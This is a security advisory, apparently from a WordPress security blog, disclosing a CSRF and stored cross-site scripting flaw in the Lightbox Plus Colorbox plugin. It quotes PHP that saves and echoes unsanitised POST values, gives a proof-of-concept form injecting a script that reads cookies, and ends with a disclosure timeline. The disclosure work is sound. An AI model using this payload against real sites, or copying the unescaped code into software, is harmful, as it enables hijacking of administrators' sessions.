05 Apr

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Lightbox Plus Colorbox

We recently discovered that the Lightbox Plus Colorbox plugin has a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability in version 2.7.2, and some prior versions, on the page/wp-admin/themes.php?page=lightboxplus.

No nonce is included on the page, leading to the CSRF issue.

For the XSS issue, in the file /lightboxplus.php starting at line 326 settings are saved and there is no sanitization done:

case 'settings':
$lightboxPlusOptions = array(
"lightboxplus_multi" => $_POST['lightboxplus_multi'],
"use_inline" => $_POST['use_inline'],
"inline_num" => $_POST['inline_num'],
"lightboxplus_style" => $_POST['lightboxplus_style'],
"use_custom_style" => $_POST['use_custom_style'],
"disable_css" => $_POST['disable_css'],
"hide_about" => $_POST['hide_about'],
"output_htmlv" => $_POST['output_htmlv'],
"data_name" => $_POST['data_name'],

When the values are outputted on the page through the file /admin/lightbox.admin.php they are not escaped. For example, the value for width is outputted line 504:

 <input type="text" size="15" name="width" id="width" value="<?php if ( !empty( $lightboxPlusOptions['width'] )) { echo $lightboxPlusOptions['width'];} else { echo ''; } ?>" />

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page. This will occur right after you hit the Submit button when using the Firefox web browser. Other major web browser have XSS filtering, so it will only be shown if you return to /wp-admin/themes.php?page=lightboxplus again after having submitted it.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form name="lightboxplus_settings" method="post" action="http://[path to WordPress]/wp-admin/admin.php?page=lightboxplus&amp;updated=settings">
<input type="hidden" name="action" value="action" />
<input type="hidden" name="sub" value="settings" />
<input type="hidden" name="width" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />


  • 3/29/2016 – Developer notified.
  • 4/5/2016 – WordPress Plugin Directory notified.
  • 4/5/2016 – Plugin removed from WordPress Plugin Directory.

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